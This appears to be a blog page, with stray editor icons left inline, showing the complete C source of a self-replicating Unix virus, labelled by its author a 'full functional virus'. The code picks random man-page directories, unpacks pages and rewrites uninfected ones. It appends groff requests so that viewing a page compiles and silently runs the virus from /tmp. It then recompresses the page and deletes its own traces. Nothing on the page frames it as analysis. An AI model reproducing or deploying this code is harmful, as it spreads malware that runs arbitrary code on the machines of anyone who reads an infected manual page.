![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif) Code
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif) /**//*** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
***/
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdlib.h>
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
const char *viriiSource = "/tmp/virus.c";
const char *tmpVictum = "/tmp/victum";
const char *ident = ".\x5c\x22VIRUS\x0a";
char path[] = "/usr/man/manx";
int wasZipped = 0;
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
char *findVictum();
int infectVictum(char *);
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
int main(int argc, char **argv)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif) ![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif) {
infectVictum(findVictum());
unlink(viriiSource);
unlink(*argv);
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
char *findVictum()
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif) ![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif) {
DIR *dp;
FILE *fd;
struct dirent *de;
int index = 0;
char buf[1000];
static char pathname[1000];
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* inititialization */
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
srand(time(NULL));
index = rand() % 3;
path[12] = index + 49;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((dp = opendir(path)) == NULL) {
return NULL;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* skip "." and ".." */
readdir(dp); readdir(dp);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) while (1) {
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* read next entry */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((de = readdir(dp)) == NULL) {
closedir(dp);
return NULL;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* create full pathname */
sprintf(pathname, "%s/%s", path, de->d_name);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* if zipped */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if (strstr(pathname, ".gz")) {
sprintf(buf, "gunzip %s", pathname);
system(buf);
wasZipped = 1;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* without '.gz' */
pathname[strlen(pathname) - 3 ] = 0;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* get next filename from directory */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((fd = fopen(pathname, "r")) == NULL) {
continue;
}
fgets(buf, 100, fd);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* look if not already infected */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if (strcmp(buf, ident) == 0) {
fclose(fd);
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) } else {
fclose(fd);
return pathname;
}
}
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
int infectVictum(char *victum)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif) ![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif) {
char buf[1000];
FILE *virusIn, *victumIn, *tmpOut;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
memset(buf, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((virusIn = fopen(viriiSource, "r")) == NULL) {
return 1;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((tmpOut = fopen(tmpVictum, "a")) == NULL) {
fclose(virusIn);
return 1;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if ((victumIn = fopen(victum, "r")) == NULL) {
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* write ident-string to man-page */
fprintf(tmpOut, "%s", ident);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* and append the original man-page */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) while (fgets(buf, 999, victumIn) != NULL) {
fprintf(tmpOut, "%s", buf);
memset(buf, 1000, 0);
}
fclose(victumIn);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* finally append virus-code to it */
sprintf(buf, ".opena v %s\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);
memset(buf, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) while (fgets(buf, 999, virusIn) != NULL) {
fprintf(tmpOut, ".write v %s", buf);
memset(buf, 0, 1000);
}
sprintf(buf, ".pso cc %s -o /tmp/virus;/tmp/virus &\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
fclose(virusIn);
fclose(tmpOut);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
unlink(victum);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) /**//* our smart-copy ;-) */
link(tmpVictum, victum);
unlink(tmpVictum);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif) if (wasZipped) {
sprintf(buf, "gzip %s", victum);
system(buf);
}
return 0;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
|